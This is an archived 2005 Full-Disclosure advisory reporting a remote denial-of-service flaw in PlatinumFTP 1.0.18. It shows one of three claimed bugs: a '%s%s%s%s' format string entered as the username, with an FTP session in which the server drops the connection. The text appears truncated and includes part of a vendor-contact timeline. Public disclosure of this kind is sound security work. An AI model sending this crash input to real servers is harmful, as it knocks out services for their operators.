

[Full-disclosure] PlatinumFTP 1.0.18 remote DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-03/0412.html>

From: ports (*ml_at_portsonline.net*)

Date: 03/12/05

Date: Sat, 12 Mar 2005 17:57:19 +0100

To: full-disclosure@lists.grok.org.uk

Application: PlatinumFTP

Site: <http://www.roboshareware.com/indexplatinumftp.php>

Version: 1.0.18 and maybe lower

OS: Windows

Bug: Remote Denial of Service

=====

Product:

PlatinumFTPserver simplifies management of all your Ftp clients with regards to sending and receiving program and data files over an IP connection.

=====

About:

I didn't found any informations about the Bugs I've found and the vendor doesn't seem to be interested in fixing problems (see History). Since PlatinumFTP isn't a mainstream server I decided to make this Disclosure.

Well, I found 3 different ways do shut down (denial of service) a PlatinumFTP 1.0.18 server. At least you doesn't need a valid user.

=====

First Bug:

You can stop the server using %s%s%s%s as username.

```
----- schnipp -----
ports@boom:~$ ftp 192.168.10.101
Connected to 192.168.10.101.
220-PlatinumFTPserver V1.0.18
220 Enter login details
Name (192.168.10.101:ports): %s%s%s%s
421 Service not available, remote server has closed connection
Login failed.
No control connection for command: Transport endpoint is not connected
ftp>
----- schnapp -----
```

Full-Disclosure: [Full-disclosure] PlatinumFTP 1.0.18 remote DoS

2005-03-10: Created a yahoo-account *sigh* to make a forum post

2005-03-12: Still no response...

Well, now let's count the hours/days until someone is telling me I'm a fool because I didn't made a working exploit out of it.
